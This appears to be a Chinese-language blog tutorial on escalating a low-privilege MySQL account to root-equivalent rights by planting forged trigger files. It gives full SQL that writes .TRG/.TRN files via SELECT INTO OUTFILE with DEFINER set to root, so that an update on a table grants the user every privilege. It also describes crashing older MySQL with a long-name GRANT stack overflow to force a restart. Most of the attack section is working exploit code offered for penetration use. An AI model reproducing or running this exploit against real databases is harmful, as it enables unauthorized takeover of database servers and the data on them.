Mysql Trigger (可以用作提權)

0x00 什麼是觸發器


觸發器(trigger)是數據庫提供給程序員和數據分析員來保證數據完整性的一種方法,它是與表事件相關的特殊的儲存過程,它的執行不是由程序調用,也不是手工啓動,而是由事件來觸發,當對一個表進行操作(insert,delete,update)時就會激活它執行。觸發器經常用於加強數據的完整性約束和業務規則等。

0x01 問題描述

a)通過Mysql觸發器提權僅僅能獲取一個Mysql

Root權限的Mysql賬號,並不是系統提權(系統提權取決於包括mysql是不是以root方式運行的等等很多因素)。

b)滲透過程中所能利用的觸發器提權中,需要提權的賬號需要有"File"權限,或者是有能力向mysql的目錄下寫入文件。

c)Mysql的觸發器有6種類型分別是After insert,After delete,After update和Before

insert,Before delete,Before update。

在以下版本測試成功:

a) CentOS 5.5 && Mysql-5.0.51a

b) Win2003 x86 && Mysql-5.5.24

0x02 工作原理


a) 因爲MySQL的觸發器以明文文本的形式保存最對應庫的目錄下面,形式爲觸發器文件.TRG和觸發器描述文件.TRN,可以通過select into outfile方式寫入(所以需要"File"權限)。

b) Mysql在定義觸發器的時候有一個定義觸發器執行角色的字段DEFINER,默認的此字段與建立觸發器的角色相同(即與'CREATE DEFINER'字段相同)。如果我們可以上傳一個執行角色爲root的觸發器,那麼就能以root權限執行觸發語句。

c) 根據觸發器的原理,我們本地新建一個觸發器,然後修改相關配置,如觸發角色,觸發條件,觸發後執行語句等等,製作exp實現提權。

0x03 實驗環境


Win2003x86 && Mysql-5.5.24,默認安裝Mysql,導入一個xxxCMS的數據庫"cms",併爲此數據庫建立一個普通權限的用戶"test" Test 賬號添加方式:

grant all privileges on cms.* to test@localhost identified by '1234';

root執行show databases;的結果:

enter image description here

root執行select User,Host from mysql.user;的結果:

enter image description here

test執行show databases;

enter image description here

test執行use cms;並查詢此數據庫上存在的觸發器show triggers;

enter image description here

0x04 實驗過程


a)本地生成觸發器文件: 1.首先在本地的Mysql上建立正常的觸發器,建立過程:

mysql> delimiter //   
            /** 此處定義操作塊,在操作塊結束前即使遇到;也不去執行,直到遇到結束符(//) **/
mysql> create trigger rootme after update on cms_users for each row 
            /** 建立一個作用於表cms_users的、類型爲After update的、名爲rootme的觸發器,for each row意思是每觸發一次,就執行一次執行語句 **/
mysql> begin update mysql.user set Select_priv='Y',Insert_priv='Y',Update_priv='Y',Delete_priv='Y',Create_priv='Y',Drop_priv='Y',Reload_priv='Y',Shutdown_priv='Y',Process_priv='Y',File_priv='Y',Grant_priv='Y',References_priv='Y',Index_priv='Y',Alter_priv='Y',Show_db_priv='Y',Super_priv='Y',Create_tmp_table_priv='Y',Lock_tables_priv='Y',Execute_priv='Y',Repl_slave_priv='Y',Repl_client_priv='Y',Create_view_priv='Y',Show_view_priv='Y',Create_routine_priv='Y',Alter_routine_priv='Y',Create_user_priv='Y',Event_priv='Y',Trigger_priv='Y',Create_tablespace_priv='Y',ssl_type='Y',ssl_cipher='Y',x509_issuer='Y',x509_subject='Y',max_questions='Y',max_updates='Y',max_connections='Y' where User='test';
            /** 默認格式begin爲開頭加上觸發後執行的語句,此處語句爲執行修改mysql.user表中test用戶的權限的操作 **/
mysql> end;    /** 觸發器定義結束標誌 **/
mysql> //      /** 操作塊結束標誌,閉合開頭定義的操作塊 **/

以上sql語句執行完畢就會在數據庫cms的目錄下生成兩個文件:rootme.TRN 和 cms_users.TRG。

打開文件,發現DEFINER字段爲:test@localhost

我們將其改爲root@localhost,使此觸發器觸發後執行角色爲root。 將這兩個文件作爲後面的提權Exp保留下來。

b)使用test用戶登陸Mysql,並查詢此數據庫上存在的觸發器:

enter image description here

經過查詢觸發器爲空,我們把前面我們本地生成好的觸發器文件上傳到對應的數據庫目錄下,即cms目錄下:

/** 上傳可以使用select * into outfile方式或者其他方式 **/
/**   TRG文件   **/
/**   SELECT 'TYPE=TRIGGERS' into outfile'C:wampbinmysqlmysql5.5.24datacmsrootme.TRG' LINES TERMINATED BY 'ntriggers='CREATE DEFINER=`root`@`localhost` trigger rootme after update on cms_users for each rownbegin nUPDATE mysql.user SET Select_priv='Y', Insert_priv='Y', Update_priv='Y', Delete_priv='Y', Create_priv='Y', Drop_priv='Y', Reload_priv='Y', Shutdown_priv='Y', Process_priv='Y', File_priv='Y', Grant_priv='Y', References_priv='Y', Index_priv='Y', Alter_priv='Y', Show_db_priv='Y', Super_priv='Y', Create_tmp_table_priv='Y', Lock_tables_priv='Y', Execute_priv='Y', Repl_slave_priv='Y', Repl_client_priv='Y', Create_view_priv='Y', Show_view_priv='Y', Create_routine_priv='Y', Alter_routine_priv='Y', Create_user_priv='Y', ssl_type='Y', ssl_cipher='Y', x509_issuer='Y', x509_subject='Y',max_questions='Y', max_updates='Y', max_connections='Y' WHERE User='test';nend'nsql_modes=0ndefiners='root@localhost'nclient_cs_names='gbk'nconnection_cl_names='gbk_chinese_ci'ndb_cl_names='utf8_general_ci'n';    **/
/**   TRN文件   **/
/**   SELECT 'TYPE=TRIGGERNAMEntrigger_table=rootme;' into outfile 'C:wampbinmysqlmysql5.5.24datacmscms_users.TNG';   **/

enter image description here

再次查詢Triggers:

enter image description here

發現觸發器已經寫入,前面我們寫的觸發類型是after update,作用於表cms_users,所以我們這裏我們update cms_users這個表來觸發。 觸發之前mysql.user表:

enter image description here

update cms_users這個表觸發執行:

enter image description here

觸發之後mysql.user表:

enter image description here

至此,"test"用戶所擁有的權限跟"root"用戶擁有的權限一致。

文中部分位置"有可能"出現"不識別"的情況,比如上傳文件後仍然查詢不到觸發器,比如觸發了觸發器修改了test的權限後發現並未生效。此時需要重啓數據庫重新加載配置,至於重啓數據庫的方式嘛,可以借鑑社工思路。Mysql5.0版本之前的可以利用之前爆出來的棧溢出漏洞造成MySQL Crash重啓,達到重新加載配置文件的目的。

這個棧溢出的原理是使用一個沒有grant權限的用戶做一個虛假的grant操作,而這個操作是對一個根本不存在但很長(如下攻擊實例是10000字符長度的庫名,實際達到284個時就會觸發)庫進行賦權。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章